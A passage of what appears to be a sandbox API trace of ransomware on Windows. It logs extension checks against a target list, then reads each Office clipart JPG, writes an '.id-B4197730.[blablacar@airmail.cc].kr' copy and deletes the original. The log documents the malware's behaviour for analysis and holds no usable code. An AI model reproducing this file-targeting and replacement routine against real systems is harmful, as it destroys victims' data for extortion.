(lpString1=".xlsx", lpString2="4.WMF") returned -1 [0215.145] lstrlenW (lpString=".ppt") returned 4 [0215.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.145] lstrlenW (lpString=".zip") returned 4 [0215.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0215.145] lstrlenW (lpString=".rar") returned 4 [0215.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString=".bz2") returned 4 [0215.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString=".7z") returned 3 [0215.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0215.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.145] lstrlenW (lpString=".dbf") returned 4 [0215.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.145] lstrlenW (lpString=".1cd") returned 4 [0215.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.145] lstrlenW (lpString=".jpg") returned 4 [0215.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.145] lstrlenW (lpString=".doc") returned 4 [0215.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString=".docx") returned 5 [0215.145] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0215.145] lstrlenW (lpString=".pdf") returned 4 [0215.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0215.145] lstrlenW (lpString=".xls") returned 4 [0215.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0215.146] lstrlenW (lpString=".xlsx") returned 5 [0215.146] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0215.146] lstrlenW (lpString=".ppt") returned 4 [0215.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0215.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.146] lstrlenW (lpString=".zip") returned 4 [0215.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0215.146] lstrlenW (lpString=".rar") returned 4 [0215.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0215.146] lstrlenW (lpString=".bz2") returned 4 [0215.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0215.146] lstrlenW (lpString=".7z") returned 3 [0215.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0215.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.146] lstrlenW (lpString=".dbf") returned 4 [0215.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0215.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.146] lstrlenW (lpString=".1cd") returned 4 [0215.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0215.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.146] lstrlenW (lpString=".jpg") returned 4 [0215.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0215.146] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.146] lstrlenW (lpString="J0145373.JPG") returned 12 [0215.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.148] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17867) returned 1 [0215.148] CloseHandle (hObject=0x3f8) returned 1 [0215.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220 [0215.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.149] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.149] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0215.150] GetLastError () returned 0x0 [0215.150] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x45cb, lpOverlapped=0x0) returned 1 [0215.152] WriteFile (in: hFile=0x4b4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x45d0, lpOverlapped=0x0) returned 1 [0215.153] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.153] WriteFile (in: hFile=0x4b4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0215.153] SetEndOfFile (hFile=0x4b4) returned 1 [0215.153] CloseHandle (hObject=0x4b4) returned 1 [0215.153] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.154] SetEndOfFile (hFile=0x3f8) returned 1 [0215.156] CloseHandle (hObject=0x3f8) returned 1 [0215.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0215.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.157] lstrlenW (lpString=".doc") returned 4 [0215.157] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.157] lstrlenW (lpString=".docx") returned 5 [0215.157] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0215.157] lstrlenW (lpString=".pdf") returned 4 [0215.157] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.157] lstrlenW (lpString=".xls") returned 4 [0215.157] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.158] lstrlenW (lpString=".xlsx") returned 5 [0215.158] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0215.158] lstrlenW (lpString=".ppt") returned 4 [0215.158] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.158] lstrlenW (lpString=".zip") returned 4 [0215.158] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.158] lstrlenW (lpString=".rar") returned 4 [0215.158] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.158] lstrlenW (lpString=".bz2") returned 4 [0215.158] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.158] lstrlenW (lpString=".7z") returned 3 [0215.158] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.158] lstrlenW (lpString=".dbf") returned 4 [0215.158] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.158] lstrlenW (lpString=".1cd") returned 4 [0215.158] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.158] lstrlenW (lpString=".jpg") returned 4 [0215.158] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.158] lstrlenW (lpString=".doc") returned 4 [0215.158] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.158] lstrlenW (lpString=".docx") returned 5 [0215.158] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0215.158] lstrlenW (lpString=".pdf") returned 4 [0215.158] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.158] lstrlenW (lpString=".xls") returned 4 [0215.158] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.158] lstrlenW (lpString=".xlsx") returned 5 [0215.159] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0215.159] lstrlenW (lpString=".ppt") returned 4 [0215.159] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.159] lstrlenW (lpString=".zip") returned 4 [0215.159] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.159] lstrlenW (lpString=".rar") returned 4 [0215.159] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.159] lstrlenW (lpString=".bz2") returned 4 [0215.159] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.159] lstrlenW (lpString=".7z") returned 3 [0215.159] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.159] lstrlenW (lpString=".dbf") returned 4 [0215.159] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.159] lstrlenW (lpString=".1cd") returned 4 [0215.159] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0215.159] lstrlenW (lpString=".jpg") returned 4 [0215.159] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.159] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.159] lstrlenW (lpString="J0145669.JPG") returned 12 [0215.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.160] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=31850) returned 1 [0215.161] CloseHandle (hObject=0x3f8) returned 1 [0215.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220 [0215.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.161] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.161] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0215.162] GetLastError () returned 0x0 [0215.162] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x7c6a, lpOverlapped=0x0) returned 1 [0215.164] WriteFile (in: hFile=0x4b4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x7c70, lpOverlapped=0x0) returned 1 [0215.166] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.166] WriteFile (in: hFile=0x4b4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0215.166] SetEndOfFile (hFile=0x4b4) returned 1 [0215.166] CloseHandle (hObject=0x4b4) returned 1 [0215.166] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.166] SetEndOfFile (hFile=0x3f8) returned 1 [0215.169] CloseHandle (hObject=0x3f8) returned 1 [0215.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0215.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.170] lstrlenW (lpString=".doc") returned 4 [0215.170] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.170] lstrlenW (lpString=".docx") returned 5 [0215.170] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0215.170] lstrlenW (lpString=".pdf") returned 4 [0215.170] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.170] lstrlenW (lpString=".xls") returned 4 [0215.170] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.170] lstrlenW (lpString=".xlsx") returned 5 [0215.170] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0215.170] lstrlenW (lpString=".ppt") returned 4 [0215.170] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.170] lstrlenW (lpString=".zip") returned 4 [0215.170] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.171] lstrlenW (lpString=".rar") returned 4 [0215.171] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.171] lstrlenW (lpString=".bz2") returned 4 [0215.171] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.171] lstrlenW (lpString=".7z") returned 3 [0215.171] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.171] lstrlenW (lpString=".dbf") returned 4 [0215.171] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.171] lstrlenW (lpString=".1cd") returned 4 [0215.171] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.171] lstrlenW (lpString=".jpg") returned 4 [0215.171] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.171] lstrlenW (lpString=".doc") returned 4 [0215.171] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.171] lstrlenW (lpString=".docx") returned 5 [0215.171] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0215.171] lstrlenW (lpString=".pdf") returned 4 [0215.171] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.171] lstrlenW (lpString=".xls") returned 4 [0215.171] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.171] lstrlenW (lpString=".xlsx") returned 5 [0215.171] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0215.171] lstrlenW (lpString=".ppt") returned 4 [0215.171] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.171] lstrlenW (lpString=".zip") returned 4 [0215.171] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.171] lstrlenW (lpString=".rar") returned 4 [0215.171] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.172] lstrlenW (lpString=".bz2") returned 4 [0215.172] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.172] lstrlenW (lpString=".7z") returned 3 [0215.172] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.172] lstrlenW (lpString=".dbf") returned 4 [0215.172] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.172] lstrlenW (lpString=".1cd") returned 4 [0215.172] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0215.172] lstrlenW (lpString=".jpg") returned 4 [0215.172] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.172] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.172] lstrlenW (lpString="J0145707.JPG") returned 12 [0215.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.173] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=36820) returned 1 [0215.173] CloseHandle (hObject=0x3f8) returned 1 [0215.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220 [0215.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.173] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.173] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0215.174] GetLastError () returned 0x0 [0215.174] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x8fd4, lpOverlapped=0x0) returned 1 [0215.674] WriteFile (in: hFile=0x4b4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x8fe0, lpOverlapped=0x0) returned 1 [0215.676] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.676] WriteFile (in: hFile=0x4b4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0215.676] SetEndOfFile (hFile=0x4b4) returned 1 [0215.676] CloseHandle (hObject=0x4b4) returned 1 [0215.676] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.676] SetEndOfFile (hFile=0x3f8) returned 1 [0215.914] CloseHandle (hObject=0x3f8) returned 1 [0215.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0215.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.916] lstrlenW (lpString=".doc") returned 4 [0215.916] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.916] lstrlenW (lpString=".docx") returned 5 [0215.916] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0215.916] lstrlenW (lpString=".pdf") returned 4 [0215.916] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.916] lstrlenW (lpString=".xls") returned 4 [0215.916] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.916] lstrlenW (lpString=".xlsx") returned 5 [0215.916] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0215.916] lstrlenW (lpString=".ppt") returned 4 [0215.916] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.916] lstrlenW (lpString=".zip") returned 4 [0215.916] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.916] lstrlenW (lpString=".rar") 